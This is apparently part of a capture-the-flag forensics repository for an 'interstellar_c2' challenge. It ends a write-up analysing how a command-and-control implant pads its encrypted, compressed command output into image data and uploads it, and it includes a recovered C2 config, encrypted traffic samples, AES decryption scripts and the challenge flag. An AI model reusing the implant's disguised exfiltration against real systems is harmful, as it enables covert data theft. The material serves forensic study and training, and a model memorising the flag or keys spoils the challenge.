ImgGen.GetImgData(cmdoutput); 153 | int num = 0; 154 | while (num < 5) 155 | { 156 | num++; 157 | try 158 | { 159 | GetWebRequest(cookie).UploadData(UrlGen.GenerateUrl(), imgData); 160 | num = 5; 161 | } 162 | catch 163 | { 164 | } 165 | } 166 | ``` 167 | 168 | 1. A cookie is generated, which is just the task ID encrypted. This will be used to identify the response and it is provided through setting a cookie in the web request 169 | 2. The input data is encrypted, possibly a string or an array of bytes 170 | 3. The result is converted back to a byte array 171 | 4. The byte array is combined with image data 172 | 5. The client tries to send the request as `POST` five times until it succeeds. 173 | 174 | Important difference to note here is that replies are compressed before they are sent to the server. 175 | This is done using the `Compress` function which just GZIP compresses the data. 176 | 177 | Let's look into how the image generator works 178 | ```cs 179 | internal static byte[] GetImgData(byte[] cmdoutput) 180 | { 181 | int num = 1500; 182 | int num2 = cmdoutput.Length + num; 183 | string s = _newImgs[new Random().Next(0, _newImgs.Count)]; 184 | byte[] array = Convert.FromBase64String(s); 185 | byte[] bytes = Encoding.UTF8.GetBytes(RandomString(num - array.Length)); 186 | byte[] array2 = new byte[num2]; 187 | Array.Copy(array, 0, array2, 0, array.Length); 188 | Array.Copy(bytes, 0, array2, array.Length, bytes.Length); 189 | Array.Copy(cmdoutput, 0, array2, array.Length + bytes.Length, cmdoutput.Length); 190 | return array2; 191 | } 192 | ``` 193 | 194 | 1. Choose a random image from the configured list. Recall that this was configured through the very first reply to the client from the C2. 195 | 2. Get the bytes of the image 196 | 3. Create a random string, so that the image and the string combined take up 1500 bytes 197 | 4. The image, then the padding, then the command output are copied to the final result array. 198 | 199 | Okay, so now we know how the client sends replies. 200 | I wrote the `deresp.py` script to decode responses from the client to the C2. 201 | I have saved some `POST` request bodies in the `resp{1,3,4,5}.enc` files, I have focused on bodies that had length greater than 1516 (the empty string response) 202 | 203 | I began using my script to decode the replies and `resp5.enc` was suspiciously long. 204 | Upon decoding it I saw a PNG header, so I knew this must have been the response to the `get-screenshot` command. 205 | I then saved the decoded result into `response5.png` 206 | 207 | Sure enough this image contained the flag as a sticky note on the top right, so we win :) 208 | -------------------------------------------------------------------------------- /forensics/interstellar_c2/c2_init_config: -------------------------------------------------------------------------------- 1 | 2 | RANDOMURI19901dVfhJmc2ciKvPOC10991IRUMODNAR 3 | URLS10484390243"Kettie/Emmie/Anni?Theda=Merrilee", "Rey/Odele/Betsy/Evaleen/Lynnette?Violetta=Alie", "Wilona/Sybila/Pearla/Mair/Dannie/Darcie/Katerina/Irena/Missy/Ketty/", "Hedwiga/Pamelina/Lisette/Sibylla/Jana/Lise/Kellen/Daniela/Alika/", "Arlinda/Chelsae/Milka/Alexine/Mona/Catherin/Charmain/Deborah/", "Melessa/Anabelle/Bibbye/Candis/Jacqueline/Lacee/Nicola/Belvia?Lexi=Veronika", "Janith/Mona/Kimberlee/Flossi/Darcie/Doralia/Aloysia/Gracia/Antonella?Othella=Jewelle", "Vere/Maddalena/Kara/Thomasina/Alisha/Amargo/Carrissa/", "Harlie/Fanya/Jehanna/Jane/Tami/Sissy/", "Catlaina/Nikaniki/Sonja/Denni/Kelsey/Allis/Cherry?Hayley=Rosalind", "Gerry/June/Charissa/Blondy/Sharity/Lory?Loise=Maribelle", "Ariadne/Marianna/Betti/Samaria/Carmon/Tandy/Charissa/Sherrie/Felipa/Crissy/", "Glennis/Elfrieda/Fannie/Nola/Janetta/Darda/Kathi/Britte?Berta=Lidia", "Georgeta/Sharron/Cynthy/Roseanna/", "Morganne/Mamie/Arlee/Suki/Uta/Anett/Sena/Babette/Anderea?Hally=Karie", "Zondra/Tasha/Rey/Eolande/Rianon/Alla/Trula/Cynthea/Glyn?Jamima=Ethyl", "Edi/Phyllys/Marga/Jaquith/Ray/Lynnell/Flory?Angelle=Betteanne", "Ciel/Constantine/Catlee?Cecile=Karina", "Kaylee/Guglielma/Clementia/Ilka/", "Zoe/Delora/Christi/Carolan/Barbi/Myrta/Cherie/Halie/", "Brandy/Joanna/Afton/Jana?Chelsea=Truda", "Aveline/Alethea/Rona/Janka/Danila/Robbyn/Glynda/Stormi/", "Tamiko/Carine/Juliann/", "Jacenta/Hatti?Tatiana=Franny", "Hyacinth/", "Merrili/Gabrila/Harmony/Erda/", "Mirelle/Imogene/Rivalee/Ayn/Courtenay?Jania=Jerrylee", "Imogen/Ketti/Kari/Sam/Maurise?Shirlene=Eugenia", "Melinda/Lianne/Blancha/Silvie/Gracia/Zaneta/Lyda/Dalia/Tracie/", "Fanchette/Marlyn/Casey/Bobbye/Elayne/Charmane/", "Cissiee/Maxy/Madalyn/Esme/Esther/Barbette/Starla/Vin/Corrinne/Meggy/Joete?Glenna=Aida", "Kirsteni/Nelie/Lauralee/Stefanie/Haily/Annecorinne/Nettle/Natka?Jenda=Ursuline", "Elinore/", "Maisie/Hedwig/Natividad?Gisela=Ollie", "Roselle/Philippa/Noellyn/Zarah/Tillie/Koral/Laurette/Lelah/Kylynn/Cassaundra/Jordanna?Stormy=Vally", "Abbi/Rania/Vivienne/Engracia/Adel/Ange/Tonye/Rosemaria/Gretta/Guinna/Jehanna?Linnet=Daria", "Mamie/Eddi/Eddi/Tanitansy/Timmy/Willie/Catie/Gisela/Sheri/", "Helaina/Theadora/Malinda/Linnie/Jaquith/Ailyn/Magda?Sisile=Vonnie", "Faunie/Dionne/Shelbi/Zorana/Pearline/Rozanna/Kandace/Fanchon?Anna-Diana=Lorelei", "Waneta/Marnie/Jessalyn/Jaynell/Holli/Kassi/Euphemia/Katerine?Minda=Dawna", "Kikelia/Jacinthe/Adorne/Kariotta/Lonee/Krystalle/", "Constancia/Dynah?Allene=Moyra", "Donetta/", "Sallie/Lindie/Denni/", "Jeannine/Lucretia/Denna/Prudy/Hendrika/Ilysa/Caroljean?Aline=Tine"34209348401SLRU 4 | KILLDATE16652025-01-015661ETADLLIK 5 | SLEEP980013s10089PEELS 6 | JITTER20250.25202RETTIJ 7 | NEWKEY8839394nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=4939388YEKWEN 8 | IMGS19459394"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"49395491SGMI 9 | -------------------------------------------------------------------------------- /forensics/interstellar_c2/cmd3.enc: -------------------------------------------------------------------------------- 1 | y2TBZf7CIw8UGj+LY5/Sp6EVD5XaDKgw6Hk+rLjeewt6iWC3rHfg9XVsFBjFg1kUsP8sZ8a0jepdo7ssd9MI+A== -------------------------------------------------------------------------------- /forensics/interstellar_c2/dec_command.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Util.Padding import unpad 3 | import base64 4 | 5 | key = base64.b64decode('DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=') 6 | content = base64.b64decode(open('./first_command', 'r').read()) 7 | iv = content[:16] 8 | content = content[16:] 9 | 10 | cipher = AES.new(key, AES.MODE_CBC, iv=iv) 11 | clean = base64.b64decode(cipher.decrypt(content).replace(b'\x00', b'')) 12 | print(clean.decode("utf-8")) 13 | -------------------------------------------------------------------------------- /forensics/interstellar_c2/decmd.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Util.Padding import unpad 3 | import base64 4 | # ${a`Es}."KE`Y`sIZE" = 128 5 | # ${K`EY} = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0) 6 | # ${iv} = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1) 7 | 8 | key = base64.b64decode('nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=') 9 | content = base64.b64decode(open('cmd3.enc', 'r').read()) 10 | iv = content[:16] 11 | content = content[16:] 12 | 13 | cipher = AES.new(key, AES.MODE_CBC, iv=iv) 14 | clean = base64.b64decode(cipher.decrypt(content).replace(b'\x00', b'')) 15 | parts = clean.decode('utf-8').replace('multicmd', '').split('!d-3dion@LD!-d') 16 | for p in parts: 17 | tid = p[0:5] 18 | cmd = p[5:] 19 | 20 | print(f'{tid}: {cmd[:32]}') 21 | -------------------------------------------------------------------------------- /forensics/interstellar_c2/deresp.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Util.Padding import unpad 3 | import base64 4 | import gzip 5 | 6 | key = base64.b64decode('nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=') 7 | content = open('resp5.enc', 'rb').read()[1500:] 8 | print(content) 9 | iv = content[:16] 10 | content = content[16:] 11 | 12 | cipher = AES.new(key, AES.MODE_CBC, iv=iv) 13 | clean = cipher.decrypt(content)#.replace(b'\x00', b'') 14 | uc = gzip.decompress(clean) 15 | 16 | # HTB{h0w_c4N_y0U_s3e_p05H_c0mM4nd?} 17 | open('response5.png', 'wb').write(base64.b64decode(uc)) 18 | -------------------------------------------------------------------------------- /forensics/interstellar_c2/first_command: -------------------------------------------------------------------------------- 1 | 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